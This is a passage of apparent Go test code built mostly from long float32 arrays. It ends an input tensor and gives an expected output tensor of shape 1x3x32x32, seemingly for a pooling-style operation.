0.08645252, 0.24770638, -1.0182793, -0.65457016, 0.2072174, 0.58356994, 2.9290962, 0.22285832, 0.9760375, -1.5569339, -1.3298919, -0.35549477, -1.1974277, 1.4863993, -0.4102187, 1.3821819, 1.4867824, 0.04277972, 0.50179976, -0.056099474, 0.538437, 0.48334184, -0.12364963, 0.50496995, 1.7236962, 0.7130162, 0.3257996, 0.124769524, -1.0126731, -1.0272969, 0.32335654, -1.3693911, -0.7663276, 1.2815113, 1.9142298, -1.665956, 1.6266496, -0.2114383, -0.0150050875, -0.11341163, 1.0805441, -1.6076766, 0.45616361, -0.9448702, 0.5707885, 1.5427964, -0.0004173264, 0.37415507, 0.40955177, -0.7995935, 1.5116394, 1.7064682, 0.70178336, 0.07328543, -0.46189383, -0.62649024, 1.7108365, 1.414415, -0.063661486, -1.5799305, -2.832012, -1.0834267, -0.13062039, 1.400689, -0.6516562, 0.50481546, 1.3031809, 0.12853631, -0.14244787, -1.3087635, -1.2024753, 0.41609964, -0.20090753, 0.12253132, -0.047277715, 0.66414404, -0.7846874, -0.33558065, 1.8961822, -0.79978615, -0.28157544, -0.5893867, 0.44478136, 1.0223923, -0.49821162, -0.43141434, -0.2789816, 0.5298338, -0.7393953, -0.37595996, -2.3721938, -1.381745, -0.11244375, 0.89786416, 0.29507577, -1.0987685, -1.4002562, 0.1746801, -1.6528037, 1.0659268, 0.063896194, -1.6073202, -0.9659539, -0.7243113, -0.7731925, -1.489933, -0.8746625, -0.6844016, -0.71128577, 1.1279566, 0.10482781, -0.9932572, -0.3346216, -0.8795571, -0.30000666, 0.87550914, 0.2522708, 2.2856011, 0.37592742, -0.9135945, 0.8097407, 1.0799313, 1.094167, -1.0942409, -0.14763741, 1.131812, -1.684729, -0.49941677, -1.4269377, -0.9325702, -1.0124571, 1.2505698, -0.23453803, -0.8633556, -1.0356058, 0.14166717, -0.0111356275, 1.3440744, 0.5000167, -1.4317977, -0.6289807, 1.0700725, -0.6210827, 1.7345722, -1.0982895, 0.57261336, -0.86121553, -0.50959516, 1.0985817, -0.12706716, 0.81345224, 0.4732906, 0.75386566, -0.8881882, -0.2215744, 0.42425263, -0.8490729, 1.6295, -0.77722806, -0.3000036, -1.006559, -2.1433082, 1.7969185, -0.20433894, -0.44791484, -0.19871506, 1.4198639, -0.9651066, 0.6795679, -0.42378825, -0.59667087, 0.5670582, 0.9882406, -0.51390296, -0.76884913, -1.1690958, 1.1035038, -0.575256, -1.8491307, 1.4099522, -1.3698595, 0.77946055, 0.18342865, 0.28791544, -0.58437526, 0.36559147, -1.6677799, 0.5880377, 1.55701, 0.8840272, -2.01954, -0.984209, -0.18779492, 0.4869373, -0.10665268, -0.4932144, 0.5953003, 1.1641518, -0.23229401, 0.7289299, -2.5790508, -0.93750936, -0.32125893, -0.48856622, 0.3327982, 1.0137506, 0.50666904, -0.62222546, -1.5227681, 0.5569641, -1.8381767, 0.6530373, -0.18844908, -1.175835, 0.2872573, -0.0028761027, -0.036597293, -0.0842233, 0.4195241, 0.924434, 0.4966152, 1.0121332, -0.04413972, 1.6184593, 0.57110983, -0.543694, -1.0938951, 0.20579681, -1.3065215, -0.973376, 0.23908707, -0.60788745, -0.93331623, -0.034475047, 0.072677895, -0.20583403, -0.3775469, 0.85464275, 0.34242734, -0.22342612, 2.4643219, 0.19383174, 1.1320051, -0.560981, -1.3629409, -0.7917565, -0.26800978, -0.4966082, 1.3363862, -0.120041125, 0.46146888, -0.046481155, -0.43355432, 0.037996013, 1.7140515, -0.76794857, 0.7669904, -1.0260073, -0.45962644, 0.0035832059, 0.3263751, 1.4831287, -0.050082643, -0.8436156, 0.650042, -0.3641698, 0.23868157, -0.11622244, -1.9434569, 0.5082992, 0.583368, 0.92660475, 1.8004627, -1.1951038, 0.51650745, 0.409295, -0.419082, 0.39710623, 0.49964696, -1.2186838, 0.24622276, -0.9179843, -0.6518565, -1.7747449, -0.47336093, -0.20357068, 0.54985684, 0.00089992664, -1.5422882, 0.86214805, -0.11858662, 0.4883706, 0.9659361, 1.4226048, 1.9612269, -0.07223876, 0.31112444, -1.078361, 1.0616002, -1.1848874, -1.8052517, 0.830386, -0.5216965, 0.77760726, 0.40807465, -1.6300026, -2.7196794, -1.0966017, 0.016491488, -1.2217764, -0.65276146, -1.4589407, 0.16987796, 0.09082593, -0.48139262, 1.3970653, 1.497715, 0.5652672, -1.7997712, -1.1046902, 0.40713033, -0.62855756, -0.48709142, 0.8989674, 0.5108748, 1.3141544, -0.4292093, 1.3752254, -0.55413127, 1.4994915, 0.10583464, -0.86050975, -1.6312195, -0.3014723, -0.2562327, 0.8576619, -0.1105905, -0.43243197, 1.0770375, -0.22482656, -0.5762418, 0.5746089, -0.48982823, 0.65880215, -0.5969171, -0.22295918, 0.15217698, -0.37412632, -0.013451469, 0.81547195, 0.4106018, 0.48096985, -0.63543046, 0.85282975, 0.66956234, 1.0044192, -0.7263658, -0.1724586, 0.6335339, -0.60881513, -0.22612247, 1.9258057, 1.951761, 1.2399405, 0.93858516, -1.0192511, 0.5125622, -0.35911658, -1.0585719, -0.50900584, 0.11566507, -0.5473556, -0.5507994, 0.7920415, 0.14410649, 0.23345809, 0.1118724, -0.67570317, -1.370572, 0.3105647, -0.5070366, -2.0107822, -0.39256725, -1.0922179, 0.69865024, 0.5216252, 0.49689314, -0.6650416, 0.7315516, 0.3196498, -0.40985453, -0.45333743, 0.8927082, -0.47360405, 0.30365646, 1.033957, 1.9093426, 1.6638731, 0.90082276, -1.5059114, -0.6890484, -0.5480872, 1.6531498, -0.69931793, 0.38616636, 0.10086706, -0.9351272, 0.38182402, 0.3982961, -1.2557749, 1.2228775, -2.08651, -0.59075713, 0.9719703, -1.1932578, 0.35026592, -1.2963604, -0.09302414, -2.3137732, -0.8425717, -1.5429214, -0.40176374, -0.4152314, -0.67366415, 0.7979132, -0.8868796, 0.63438666, 1.6292758, 0.13906415, -0.8576702, -1.2493385, -0.7097851, 0.7046427, 0.15559073, 0.93679523, 0.7703309, 0.14081065, 0.47348827, 1.8552462, 1.4156562, -0.30274603, 0.98967946, 0.58585083, 1.1363881, 0.67161655, -0.9741674, -1.6196846, 0.572627, 1.9026182, -0.7756641, -0.18808974, -1.0357478, 1.1778295, -2.305167, -2.2636602, 0.3750199, -0.082343645, -0.47962302, -0.3010948, 0.5369879, -0.413804, -1.096925, -0.9273629, 0.88833886, -0.52474195, -1.3852776, 0.10217833, 0.50499475, 1.3289608, 0.21790339, -0.65971124, 0.47400787, 0.7271749, -0.038905308, -0.04459939, 0.2601329, -0.069856495, 0.2501139, -1.0219133, -1.1504377, -0.83611137, 0.64221096, 0.25879756, 1.040239, -0.18669093, -1.1436414, 1.1445535, -0.018767055, 1.283455, 0.59794647, 2.1886187, -0.21977298, 0.90072393, 0.8913641, -0.55512637, -0.17248231, -1.4617383, -1.5487962, 0.1265688, 0.7930071, 0.63802403, 0.3400246, 0.86301714, -0.5896978, -0.27253276, 0.7375215, 0.43311873, -0.21018882, 1.3207943, -1.2920012, -0.51867867, -0.28339776, 0.8165349, 0.002385198, -1.2614918, 0.5140042, 1.0875463, 0.73930454, 0.61915493, -1.8743135, -0.8998865, 0.4820806, -0.054888185, 0.5225576, -1.2663426, -0.061494764, -1.389781, -1.9536786, 0.29577908, 0.8425888, 0.24561642, -0.03299648, -1.5620143, 1.0061071, -0.044044897, 1.9595621, 0.9423143, -2.0051255, 0.7550497, -1.3965353, -0.7594955, -0.25075668, -0.09406245, 0.39756522, -1.022855, -1.150692, 0.6006052, -0.013250268, 0.17437305, -2.1936834, -0.17713739, -0.8907292, -0.9206264, 0.9219348, -1.0956712, -1.0928966, -0.3310106, 0.45028883, -0.8840147, 1.2341441, 1.4498476, -0.8814471, -0.24508175, -0.7786755, -1.6853821, 0.30301106, 0.7335949, 2.0118642, -0.8974095, 1.336235, 1.3423537, 0.19785331, 0.6021635, 0.8732731, 1.9741, 0.47780856, -0.060137887, -0.8661688, 0.30532077, 1.0241649, 0.24461035, -0.77992326, 0.089076206, -0.12915348, 0.26473877, -1.6618484, 0.55078864, 0.59542316, 0.44485343, -0.0037628172, -1.8059362, -0.019322792, 1.060715, -0.8601289, -1.9892695, -1.540558, 0.3140257, 0.37287602, 0.8862932, -0.055258997, -1.5003284, -0.81850415, 0.8188394, 0.14049591, 0.6498296, 0.4347888, -0.20496055, -0.17400683, 1.8571023, 0.41467425, -0.12858754, 0.45542, 0.22290581, -2.1573563, 0.6500845, 1.8209393, -0.7802799, 1.4540358, -0.2568697, 0.2934714, 1.0703601, -0.72000146, 1.2424939, -1.2142173, -0.87515473, -0.59352034, 0.66200536, -0.3408744, -1.5199745, -0.21653287, -0.7842214, 0.7312936, -0.34323505, 0.07077408, -0.40547246, 0.43393898, -0.18359077, 0.3251987, -2.5933886, 0.09725088, 0.41391367, -0.19928005, 0.66939247, 0.73860705, 1.3042139, 0.10481161, -1.9138007, -2.2854993, -1.601841, -0.03790706, -0.15730529, 0.27623984, -0.6252459, -0.73649114, 0.5550479, 0.65592444, -0.25665015, -0.038476657, 0.40431434, 0.50434357, -1.1439807, -0.71957386, -1.230546, -0.5069066, 0.8123336, 0.54627186, -1.0980979, 0.51226676, 0.08584311, -0.4939267, -1.4064597, -0.17482337, 0.679944, -2.1630976, -0.3961232, 2.2542837, 0.67263675, 0.2598325, -0.7371852, -0.6783298, -0.083288394, 1.6028637, 0.4655892, -0.8721584, 1.176787, -0.2925942, 1.6973464, -0.566603, -1.0032657, 0.17462958, 0.982327, 1.0374448, 0.15919177, -0.9880967, -0.5053407, -2.018282, -0.9131215, -0.17845681, 0.38900214, -0.33945432, -0.056979056, -0.39618546, 0.7510253, -0.89911294, 0.8375479, 1.9608808, 0.47278965, -0.5270916, -0.53627014, 1.2098372, -1.1265894, -0.95380443, -1.1644485, -1.2785138, -1.0448164, 0.78990495, 1.1022825, -0.6970731, 0.20733404, 0.7591567, 0.100564204, -0.95494276, -1.4704018, 1.0104276, 0.4961794, 0.5769559, -1.107647, 0.23497719, 0.6289996, 0.31403384, -0.7450232, 1.0122606, -1.527632, 0.92874193, 1.081056, 1.5723304, -0.3424922, -0.99943, 0.79388034, -0.6992153, 0.04399551, -0.3174622, -0.90207195, 0.32099947, -1.3920159, 0.5922057, -0.9669311, -1.7317313, -0.05010746, 0.43163386, 0.5769346, 0.8183537, -2.3536403, -1.0051445, 0.1066523, 1.5190033, 0.7837445, 1.90134, -0.5249394, 0.27441698, -1.0999708, -0.40435222, -0.7352957, -0.6339887, -0.39344913, 0.00271754, 0.022212664, 0.54345345, 0.13998847, -0.34404564, -0.52257854, -0.3071317, -0.44903713, 0.49097106, 0.8655252, 1.2740445, -0.7977028, 0.4693722, -1.3946797, 0.37317473, 1.0826722, -0.14958951, 1.072636, -1.1385679, -0.8886453, -0.13580984, 1.0222104, -0.41742945, -0.4535531, -0.99162835, 0.20288104, 1.2466952, 0.70068014, 0.6966507, -0.20697448, -0.5633094, 0.6772459, -0.031911075, -0.17360823, 0.8982406, -0.19778745, -0.83777624, 0.9091885, 0.08071989, -1.0370294, -1.1129059, 0.095411874, 2.3374097, -0.3928206, -0.33627385, 1.5237712, -0.0572812, -1.4484669, -1.5727965, 1.226664, 0.66635454, 0.8261257, -0.057756558, -0.72671205, -0.21716312, 0.13603121, -0.83831114, 0.5614499, -1.2595961, -0.33275875, -0.20400788, -0.69101983, -2.2055054, 0.44786966, -0.7557508, 1.3257079, -0.34198228, -0.5413596, 0.09152195, 1.0534397, -0.56340766, 1.0147377, 1.4403037, 0.9903228, 1.6264315, 1.292646, 1.5148823, 1.6043264, 0.20806953, -0.4292239, -2.2622437, -1.3227332, -0.4482828, -0.3817351, -0.15279447, -1.0007604, -1.5957776, -0.13022317, -0.18941793, -0.80755407, -0.74215215, -0.9401566, -0.39652374, -0.8563028, 1.2598753, 0.24099673, -0.97231793, -0.28044778, -1.1802856, 1.0121683, 1.3841867, 1.252002, -1.1446927, -0.09126702, -0.40157068, 0.5620131, -1.0079098, -0.6758917, -0.41321704, 0.15328847, 0.6941287, -0.3287277, 0.66396505, 0.8220764, -0.21321523, -1.2456582, -1.1711904, 0.59172696, -0.47622442, -1.7126293, 0.61295235, 0.12955453, -1.4059671, 1.17942, 0.836636, 0.13874525, -1.2743194, -1.4023305, -0.3070685, -1.7139153, 0.40508026, -1.4108233, 0.16491273, -0.28813145, 0.71178526, -0.9379476, 0.27372944, -1.3948402, 0.7955496, -0.114961766, 0.49585068, -1.3205253, 0.49908426, 0.3062034, 0.3636979, 0.31263396, -0.19346388, 1.2412993, -0.15589799, -0.7391692, -0.05872619, -0.95051795, -0.4639964, -0.17724662, -0.37955412, 0.19939707, 1.9457614, 0.57094985, 1.0723007, -0.50370944, -0.5870163, -0.37817806, 0.8528891, -2.1481185, -1.0331647, 0.10233585, -0.22409236, 1.9677297, 0.44768322, -0.66219145, -1.577607, -0.34056005, -1.30322, 0.46675065, 0.16110632, 0.32003194, 2.0791767, -0.907466, -0.19240421, -1.2125157, -0.08059852, 1.5932736, 0.5687224, -0.114487045, 0.25163025, -1.2108556, -0.3937337, 0.085252576, 0.099421985, -1.5306163, 0.3276232, 0.2791965, -0.3770512, 0.004174999, -1.4834915, -1.4797956, 0.13468726, -0.6677232, -0.01155552, 0.83949065, -0.17392993, -2.810668, -0.15065365, -0.48104402, -0.23469436, 0.8997308, -1.5785302, 0.24395663, 1.5703039, -0.6259431, 0.4723279, 0.9663058, 0.21023144, -0.685097, -0.709521, 0.74380016, 0.5921491, -0.7864684, -1.1764731, -1.2808067, 1.6616518, -0.06794512, 2.3602285, 0.5555456, 0.43952233, 0.30627248, 0.99914986, -0.9660632, 2.1600132, -0.100301705, -0.7034001, 0.302561, 1.0923389, -1.0075549, 0.5668694, -0.71644413, -0.5062735, -0.48948243, 0.76354146, -1.1090727, 0.1926161, -0.34341785, -0.84721017, -1.2135236, -1.2028884, -1.633796, 0.8961672, -0.24165316, 0.15865193, 1.1781894, -1.2201172, -0.94154567, 0.25471553}),
),
outputT: tensor.New(tensor.WithShape(1, 3, 32, 32),
tensor.WithBacking([]float32{1.7640524, 0.978738, 2.2408931, 2.2408931, 1.867558, 1.2023798, 0.95008844, -0.10321885, 0.41059852, 0.41059852, 1.9507754, 1.9507754, 0.7610377, 0.44386324, 0.7774904, 1.4940791, 1.4940791, 0.3130677, 0.3869025, 0.3869025, 0.6536186, 0.8644362, 0.8644362, 2.2697546, 2.2697546, 0.3024719, 0.045758516, 1.5327792, 1.5327792, 1.4693588, 0.37816253, 0.37816253, 0.17742614, -0.34791216, 0.46278226, 1.2302907, 1.2302907, 1.2023798, 0.7290906, 1.1394007, 1.1394007, 0.40234163, 1.9507754, 1.9507754, -0.4380743, -0.31155252, 0.7774904, 0.7774904, 0.9008265, 0.9008265, 0.46566245, 1.4882522, 1.8958892, 1.8958892, 1.1787796, 0.42833188, 1.0544517, 1.0544517, 1.222445, 1.222445, 0.97663903, 0.97663903, 0.7065732, 0.7065732, 1.7858706, 1.7858706, 0.46278226, 1.8831507, 1.8831507, 0.7290906, 0.9693967, 1.1394007, 1.9436212, 1.9436212, 0.40234163, 1.922942, 1.922942, 1.867559, 1.867559, 0.90604466, 1.9100649, 1.9100649, 0.8024564, 1.4882522, 1.8958892, 1.8958892, 1.1787796, 0.9222067, 1.0544517, 1.0544517, 1.3263859, 1.3263859, 0.97663903, 0.97663903, 1.8492638, 1.8492638, 1.7858706, 1.7858706, 0.5392492, 1.8831507, 1.8831507, 0.031830557, 0.9693967, 0.9693967, 1.9436212, 1.9436212, 0.3960067, 1.922942, 1.922942, 1.867559, 1.867559, 2.3831449, 2.3831449, 1.9100649, 1.1170163, 1.1170163, 0.947252, 0.61407936, 1.7133427, 1.7133427, 0.37642553, 0.2982382, 1.3263859, 1.3263859, 1.1266359, -0.14963454, 1.8492638, 1.8492638, 1.929532, 1.929532, 0.9494208, 0.5392492, 0.844363, 0.844363, 0.67643327, 1.1880298, 1.1880298, 0.9208588, 0.9208588, 0.8568306, 0.8568306, 0.4393917, 0.6815945, 2.3831449, 2.3831449, 0.94447947, 1.1170163, 1.1170163, -0.35399392, -0.0682416, 1.7133427, 1.7133427, 0.62523144, -0.09845252, 0.05216508, 1.1266359, 1.5430146, 1.5430146, 0.26705086, 0.26705086, 1.929532, 1.929532, 0.9494208, 0.77179056, 0.844363, 2.163236, 2.163236, 1.336528, 1.1880298, 1.0996596, 1.0996596, 0.8568306, 0.8568306, -0.024326125, 0.6815945, 0.6815945, 0.2799246, 0.9101789, 0.9101789, 0.78632796, 0.78632796, -0.4664191, -0.4100497, 0.62523144, 0.62523144, 2.259309, 2.259309, 0.05216508, 1.5430146, 1.5430146, 0.48148146, 0.48148146, 0.06326199, 0.5232767, 0.5232767, 0.77179056, 0.82350415, 2.163236, 2.163236, 1.336528, 0.41605005, 1.0996596, 1.0996596, 1.4944845, 1.4944845, 0.42625874, 0.676908, 0.676908, 0.2799246, 0.9101789, 0.9101789, 0.78632796, 0.78632796, 1.1523316, 1.1523316, 1.0796186, 0.37915173, 2.259309, 2.259309, 0.14195317, 0.14195317, 0.69153875, 0.6947491, 0.6947491, 0.06326199, 0.15650654, 0.6103794, 0.6103794, -0.23792173, -0.23792173, -0.052567296, -0.052567296, 0.41605005, 0.52389103, 0.7811981, 1.4944845, 1.4944845, 0.42625874, 0.676908, 1.9559124, 1.9559124, 0.39009333, -0.13288058, 0.49374178, 0.49374178, 1.1523316, 2.064493, 2.064493, 1.0201727, 1.0201727, 1.5363771, 1.5363771, 0.60884386, 0.69153875, 1.2111453, 1.2111453, 1.3018463, 1.3018463, 0.6103794, 2.3039167, 2.3039167, -0.1359497, 1.1368914, 1.1368914, 0.5829537, 0.5829537, 0.52389103, 0.37005588, 1.6581306, 1.6581306, 0.39904633, 1.9559124, 1.9559124, 0.39009333, -0.39095336, 0.69377315, 0.69377315, -0.11610394, 2.064493, 2.064493, 1.0201727, 1.0201727, 1.5363771, 1.5363771, 0.60884386, 0.60884386, 1.2111453, 1.2111453, 1.3018463, 1.3018463, 0.27451634, 2.3039167, 2.3039167, -0.1359497, 2.2567234, 2.2567234, 0.9432607, 0.9432607, 0.7471883, 0.77325296, 1.6581306, 1.6581306, 0.60631955, 0.6663831, 0.6663831, 0.45093447, 1.6595508, 1.6595508, 1.0685093, -0.13370156, 1.0777438, 1.0777438, -0.28035548, -0.28035548, 0.15670386, 0.5785215, 0.5785215, 0.34965447, -0.0616264, -0.10730527, 1.3645319, 0.27451634, 0.27451634, -0.52118933, -0.31229225, -0.15766701, 2.2567234, 2.2567234, 0.9432607, 0.9432607, 0.93184835, 0.77325296, 0.77325296, 0.16092817, 0.60631955, 0.60631955, 0.45093447, 0.45093447, 1.6595508, 1.6595508, 1.0685093, 0.04949498, 0.4938368, 0.6433145, 0.6433145, -0.20690368, 0.8801789, 0.8801789, 0.5785215, 0.38728046, -0.76414394, -1.0225068, 1.3645319, -0.6522936, -0.52118933, 1.648135, 1.648135, 0.5672903, 0.6203583, 0.6984571, 0.6984571, 0.93184835, 0.93184835, 0.8579239, 1.1411018, 1.4665787, 1.4665787, 0.85255194, -0.26773354, 0.7666632, 0.7666632, 0.8416313, 0.8416313, 0.8145198, 0.8145198, 0.6433145, 0.6433145, -0.20690368, 0.8801789, 0.8801789, 0.38728046, 1.7327212, 1.7327212, 0.6845011, 0.370825, 1.5199949, 1.7195894, 1.7195894, 1.648135, 0.5822246, 0.5672903, 0.12372191, 0.09395323, 0.9430461, 0.9430461, 0.8579239, 1.1411018, 1.4665787, 1.4665787, 0.8689635, 0.8689635, 0.7666632, 0.7666632, 0.8215857, 0.8215857, 0.8145198, 0.8145198, 0.078260176, -0.18505368, -0.085930765, 0.800298, 0.87583274, 0.87583274, 1.7327212, 1.7327212, 0.6845011, 0.370825, 1.5199949, 1.7195894, 1.7195894, 0.9295051, 0.5822246, 2.0210435, 2.0210435, 0.09395323, 0.9430461, 0.9430461, -0.050603542, 0.26990435, 0.26990435, 0.18133843, 0.8689635, 2.4124537, 2.4124537, 0.3148172, 0.8215857, 0.8215857, 0.8005648, 0.8005648, 0.078260176, -0.27567053, 1.7388726, 1.7388726, 1.3191369, 1.3191369, 1.128594, 1.128594, 0.49600095, 1.0294389, 1.0294389, 0.8202478, 0.86259604, 0.86259604, 1.5133281, 2.0210435, 2.0210435, 0.22050765, 0.22050765, 0.1993002, 1.1002843, 1.298022, 2.696224, 2.696224, 0.18133843, 2.4124537, 2.4124537, -0.07785475, 0.38273242, 0.38273242, 1.0963469, 1.0963469, -0.2342158, -0.27567053, 1.7388726, 1.7388726, 1.3191369, 1.3191369, 1.3014281, 1.3749641, 1.3749641, 1.0294389, 1.0294389, 0.17581895, 0.86259604, 1.0479722, 1.5133281, 1.7426687, 1.7426687, 0.22050765, 0.22050765, -0.34994337, 1.1002843, 1.298022, 2.696224, 2.696224, 1.4123276, 0.8640523, 0.8640523, 0.40149906, 1.2248706, 1.2248706, 1.0963469, 1.0963469, -0.2342158, -0.18224478, -0.18224478, -0.10988278, 0.21348006, 1.3014281, 1.3014281, 1.5182612, 1.5182612, -0.38464543, 1.0781974, 1.0781974, 1.1813786, 1.1813786, 1.0479722, 1.7426687, 1.7426687, 0.9424681, -0.26759475, 1.2978458, 1.2978458, 0.24211796, 0.9367425, 1.4123276, 2.0112567, 2.0112567, 0.8640523, 0.40149906, 1.2248706, 1.2248706, 0.3547577, 0.61688656, 0.61688656, 0.5270042, 0.5270042, 0.4537819, 0.21348006, 0.76790243, 0.76790243, 1.5182612, 1.5182612, -0.38464543, 1.0781974, 1.1330799, 1.1813786, 1.1813786, 0.16392857, 0.7849575, 0.9424681, 0.9424681, -0.21694957, 1.2978458, 1.2978458, 0.020334182, 0.5433119, 0.5433119, 2.0112567, 2.0112567, 0.35178012, 0.37923554, 0.37923554, 0.1965574, 0.3547577, 0.61688656, 0.61688656, 0.5270042, 0.5270042, 0.4537819, 0.23810315, 0.76790243, 0.76790243, 0.5898798, -0.36385882, 0.115147874, -0.13105401, 1.1330799, 1.1330799, 0.895556, 0.895556, 0.7849575, 0.7849575, 0.32962298, 1.285984, 1.285984, 0.67646074, 0.67646074, 0.5433119, 0.5433119, 0.43904296, -0.21954103, 0.35178012, 1.670943, 1.670943, -0.0013850428, -0.0013850428, -0.11747455, 0.46616644, 0.46616644, 0.41731882, 0.40326455, 0.40326455, 0.25249663, 0.8203218, 1.3599485, 1.3599485, 1.3675972, 1.3675972, 1.0344099, 0.60512006, 0.895556, 1.0289356, 1.0289356, 0.40476182, 1.5522432, 1.5522432, 1.285984, 0.67646074, 0.67646074, 0.52004063, 0.4497121, 0.4497121, -0.067275606, 0.1833392, 1.670943, 1.670943, -0.0013850428, 0.45248908, 0.45248908, 0.46616644, 0.46616644, -0.023423105, 1.0791948, 1.0791948, 0.37687653, 0.8203218, 1.3599485, 1.3599485, 1.3675972, 1.3675972, 1.0344099, 0.39306292, 1.017021, 1.4229835, 1.4229835, 0.39608657, 1.5522432, 1.5522432, 0.86740744, 0.86740744, 0.52004063, 2.116791, 2.116791, 0.4497121, 2.3807454, 2.3807454, 0.94924647, 0.94924647, -0.9327409, 0.45248908, 1.0907497, 1.0907497, -0.34624946, 0.19796729, 1.0819352, 1.0819352, 0.37687653, 0.37687653, 1.0946383, 1.0946383, 2.1321535, 2.1321535, 0.9364457, 1.2650778, 1.2650778, 1.4229835, 1.4229835, 0.67997485, 1.1244192, 1.3277828, 1.3277828, 0.86740744, -0.46433768, 2.116791, 2.116791, -0.035768073, 2.3807454, 2.3807454, 0.94924647, 0.94924647, -0.8871809, -0.5327028, 1.2433194, 1.2433194, 0.81267405, 0.58725935, 1.0819352, 1.0819352, -0.5075176, 2.4972005, 2.4972005, 1.0946383, 2.1321535, 2.1321535, 0.9364457, 1.2650778, 1.2650778, 1.7549862, 1.7549862, 0.67997485, 0.55578697, 1.3277828, 1.3277828, 0.72003376, 0.30360392, 1.0217906, 1.0217906, 0.44819528, 1.6961815, 1.6961815, 0.82140595, 0.82140595, 0.67057043, 0.039766736, 1.2433194, 1.2433194, 0.81267405, 0.7231005, 0.7231005, 0.71998376, 0.71998376, 2.4972005, 2.4972005, 0.019279385, 1.8495913, -0.10434349, 0.021351224, 0.021351224, 0.19275385, 1.7549862, 1.7549862, -0.058586553, 0.55578697, 0.55578697, 0.72003376, 1.4893559, 1.4893559, 0.7726948, 0.7726948, 0.47689837, 1.6961815, 1.6961815, 0.82140595, 0.82140595, 0.67057043, 0.039766736, 0.039766736, -0.050084095, 1.3124703, 1.3124703, 0.7231005, 0.71998376, 0.71998376, -0.10169727, 0.019279385, 0.019279385, 1.8495913, 0.78580385, 0.021351224, 0.9409176, 0.9409176, 0.49805242, 0.49805242, -0.026192237, -0.058586553, -0.112465985, 0.6450553, 1.4893559, 1.4893559, 0.6119272, 1.735879, 1.735879, 1.6819217, 1.6819217, 0.5290452, 0.4226286, 0.0114989, 0.0114989, -0.050084095, -0.050084095, 1.3124703, 1.3124703, 2.2259443, 2.2259443, 1.370989, 0.3248696, 0.997118, 0.997118, 1.411172, 0.78580385, 0.8672766, 0.9409176, 0.9409176, 0.49805242, 0.49805242, 0.31144708, 0.23958276, 0.9725358, 2.1338682, 2.1338682, 1.0118425, 0.7557403, 1.735879, 1.735879, 1.6819217, 1.6819217, 0.022959756, 0.022959756, 0.0114989, 0.0114989, -0.43674833, -0.43674833, 0.3269626, 0.33003512, 2.2259443, 2.2259443, 1.370989, 0.3248696, 0.997118, 0.997118, 0.22739278, 0.05157494, 0.8672766, 0.8672766, 0.8656529, 1.0813761, 1.0813761, 0.31144708, 0.23958276, 0.9725358, 2.1338682, 2.1338682, 0.4064155, 0.7557403, 0.7557403, 1.3264617, 1.3264617, 0.059894685, 0.059894685, -0.21252304, -0.34796184, 0.93639857, 0.93639857, 0.2711702, 0.2711702, -0.40607178, 0.47224715, 1.154184, 1.154184, 0.17250441, 1.997956, 1.997956, 0.22739278, 2.5944245, 2.5944245, 0.30875126, 0.8656529, 1.0813761, 1.0813761, 0.19031155, 1.8227236, 1.8227236, 0.69938046, 0.9606934, 1.3290628, 1.3290628, 0.05095428, 1.3264617, 1.3264617, 0.059894685, 0.96744615, 0.96744615, -0.055352546, 0.93639857, 0.93639857, 0.2711702, 1.2760754, 1.325014, 1.325014, 0.9304085, 2.339625, 2.339625, 1.997956, 1.997956, 1.471322, 2.5944245, 2.5944245, 0.30833125, 0.30833125, 0.3675449, 0.3675449, 0.19031155, 1.8227236, 1.8227236, -0.5215797, 0.9606934, 1.3290628, 1.3290628, 2.759355, 2.759355, 1.0304383, 0.27560067, 1.4350494, 1.4350494, 0.5072389, 0.3528166, 0.3528166, 1.4013448, 1.4013448, 1.325014, 1.325014, 0.86351967, 2.339625, 2.346647, 2.346647, -0.25957698, 1.471322, 1.5927707, 1.5927707, 0.82998616, 0.30833125, 0.012231983, 1.5692596, 1.5692596, 1.6815767, 1.6815767, 0.9688826, 0.9688826, 1.3891454, 2.0140603, 2.759355, 2.759355, 0.25871643, 0.27560067, 1.4350494, 1.4350494, 0.5072389, -0.1162297, 1.0645851, 1.4013448, 1.4013448, 0.5289436, 0.7243685, 1.3852615, 1.3852615, 2.346647, 2.346647, 0.17879286, 0.9380925, 0.9380925, 0.82998616, 0.82998616, 0.0941923, 0.0941923, 1.5692596, 1.5692596, 0.8924739, 0.8924739, 0.9688826, 0.9688826, 1.3891454, 2.0140603, 2.0140603, -0.04932407, 0.2390336, 0.2390336, 1.6739857, 1.6739857, 1.5634048, 1.5634048, 1.0645851, 1.0645851, 0.43310794, 0.43310794, 0.7243685, 1.3852615, 1.3852615, 0.70104134, 0.44103292, 0.17879286, 0.2407875, 0.2891205, 0.41287082, 0.41287082, 0.0941923, 0.0941923, -0.35811406, 0.5559627, 0.8924739, 0.8924739, 0.10471403, 0.22805333, 0.22805333, 0.5407736, 0.5407736, -0.04932407, 0.2390336, 0.2390336, 1.6739857, 1.6739857, 1.5634048, 1.5634048, -0.790523, 0.22425222, 0.22425222, 0.2149656, 0.2149656, 1.0156653, 1.0156653, 0.70104134, -0.41747734, -1.0974966, 1.7123052, 1.2649833, -0.30078387, 1.1173053, 1.1173053, 0.22246316, 0.22246316, 0.13768983, 0.38141626, 0.7539915, 1.0653155, 1.0653155, 0.9853175, 0.7669197, 0.40262553, 1.6692508, 1.6692508, 0.60815644, 1.1149623, 1.4333525, 1.4333525, 0.43554616, 0.43554616, 0.32830128, 0.03308975, 0.5969065, 0.5969065, -0.15602389, 1.0490932, 3.1709747, 3.1709747, 0.18949963, 1.2649833, 1.2649833, -0.2311016, 0.20984948, 0.20984948, 2.1495745, 2.1495745, 0.73165894, 0.73165894, 0.38141626, 0.6632581, 0.6632581, 0.41540062, 1.5788652, 1.5788652, -0.061638054, -0.061638054, 0.26902407, 0.93874687, 1.2674117, 1.2674117, 0.49949825, 1.2591671, 1.2591671, 0.70411104, 2.5263681, 2.5263681, 1.7699214, 0.3779101, 1.3243587, 1.3243587, -0.1722008, 1.1045785, 1.1045785, -0.2311016, 0.9214084, 0.9214084, 2.1495745, 2.1495745, 0.73165894, 0.73165894, 0.34816924, 0.6632581, 0.82455724, 0.82455724, 1.5788652, 1.5788652, 0.21717963, 0.21717963, 1.4045455, 1.4045455, 1.2674117, 1.2674117, 1.5187594, 1.5187594, 1.2591671, 0.76449746, 2.5263681, 2.5263681, 1.7699214, 1.221385, 1.3243587, 1.3243587, -0.1722008, 1.1045785, 1.1045785, 1.3978963, 1.3978963, 0.9214084, 1.648504, 1.648504, -0.13256802, 1.4261588, 1.4261588, 0.93612915, 0.8326507, 0.8326507, 1.6315974, 1.6315974, 0.37775916, 0.2398671, 1.4045455, 1.4045455, 0.77067304, 0.77067304, 